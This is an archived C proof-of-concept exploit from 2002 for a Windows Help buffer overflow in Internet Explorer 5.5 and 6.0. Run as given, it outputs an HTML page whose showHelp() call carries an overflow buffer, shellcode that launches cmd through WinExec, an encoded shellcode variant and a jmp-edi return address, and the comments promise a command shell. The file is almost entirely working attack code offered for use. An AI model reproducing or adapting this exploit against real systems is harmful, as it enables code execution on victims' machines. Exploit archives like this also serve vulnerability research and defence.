home *** CD-ROM | disk | FTP | other *** search
- /*
- By ipxodi@whitecell.org 10.07.2002
-
- prove of concept code of Windows Help buffer overflow.
- Bug discovered by
- For tech detail see "Thor Larholm security advisory TL#004".
- To Use:
- cl ex.c
- Run as:
- ex > ex.htm
- start ex.htm (be sure to set iexplore as your default htm viewer.)
- You will get a cmd shell.
-
- Tested on IE 5.5, IE5.5 SP2, IE 6.0.
- other version untested.
- */
-
- #include <windows.h>
- #include <stdio.h>
-
-
- char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x03" "\x80\x6D\xF8\x50"
- "\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\xFF\xD0\x33\xC0\x50\x90\xB8" "EXIT" "\xFF\xD0\xC3";
-
- char shellcode_encode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x53" "\x80\x6D\xF8\x50"
- "\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\x2C\x78" "\xFF\xD0" "\x41\x33\xC0\x50\x90\xB8""EXIT" "\x2C\x78" "\xFF\xD0\xC3";
-
- void EncodeFuncAddr(char * shellcode,DWORD addr,char * pattern)
- {
- unsigned char * p ;
- p = strstr(shellcode,pattern);
- if(p) {
- if( *(p+4) == '\xFF' )
- memcpy(p,&addr,4);
- else {
- if((addr & 0xFF) > 0x80) {
- memcpy(p,&addr,4);
- *(p+4) = 0x90;
- *(p+5) = 0x90;
- }else {
- addr += 0x78;
- memcpy(p,&addr,4);
- }
- }
- }
- }
-
- int ModifyFuncAddr(char * shellcode)
- {
- char * temp="0123456789ABCDEF";
- HMODULE hdl;
- unsigned char * p ;
- DWORD pAddr_WinExec ,pAddr_Exit ;
-
- hdl = LoadLibrary("kernel32.dll");
- pAddr_WinExec = GetProcAddress(hdl,"WinExec");
- pAddr_Exit = GetProcAddress(hdl,"ExitProcess");
- fprintf(stderr,"Find WinExec at Address %x, ExitProcess at Address %x\n",pAddr_WinExec,pAddr_Exit);
- EncodeFuncAddr(shellcode,pAddr_WinExec,"EXEC");
- EncodeFuncAddr(shellcode,pAddr_Exit,"EXIT");
- }
-
-
- void Validate(char * shellcode)
- {
- unsigned char *p, *foo = "\\\/:*?\"<>|";
- for(;*foo;foo++) {
- p = strchr(shellcode,*foo);
- if(p) {
- fprintf(stderr,"ERROR:ShellCode Contains Invalid Char For File name: %s\n",p);
- }
- }
- }
-
- #define Valid(c) (c>0x30)
- int FindCode(char * code)
- {
- DWORD addr;
- unsigned char * p = (unsigned char * )LoadLibrary("kernel32.dll");
-
- for(;p < 0x77f00000;p++)
- if(memcmp(p,code,2)==0) {
- fprintf(stderr,"Find Code at Address %x\n",p);
- addr = (DWORD) p;
- if( (addr &0xFF )>0x30 && ((addr>>8)&0xFF)>0x30&& ((addr>>16)&0xFF)>0x30 && ((addr>>24)&0xFF)>0x30 )
- return p;
- }
- return 0;
- }
- int main(int argc, char ** argv)
- {
- char * prefix = "<script type=\"text/javascript\">showHelp(\"";
- char *postfix = "\");</script>";
- char buff[1024];
- int mode = 2;
- char * pCode = buff, *shell;
- DWORD addr;
- int offset = 784;
-
- if(argc > 3 ) {
- printf("Usage: %s [mode] [offset]",argv[0]);
- printf("Normal: %s 1 784",argv[0]);
- printf("Advanc: %s 2 784",argv[0]);
- exit(0);
- }else if(argc == 3 ) {
- offset = atoi(argv[2]);
- mode = atoi(argv[1]);
- };
- fprintf(stderr,"Mode %d, Using Offset %d\n",mode,offset);
- memset(buff,0x41,1023);
-
- memcpy(pCode, "A:\\\xC0",4); //cmp al,al as a nop.
-
- switch(mode) {
- case 1: shell = shellcode; break;
- case 2: shell = shellcode_encode;break;
- case 3: {
- sprintf(buff +offset, "abcd");
- printf("%s%s%s",prefix,buff,postfix);
- return ;
- }
- }
- ModifyFuncAddr(shell);
- Validate(shell);
- memcpy(pCode+0x10,shell,strlen(shell));
- pCode = buff + offset;
- addr = FindCode("\xFF\xE7"); // jmp edi
- *(int*)pCode = addr ? addr : 0x77e79d02;
- *(pCode+4)=0;
- printf("%s%s%s",prefix,buff,postfix);
- }
-
-
-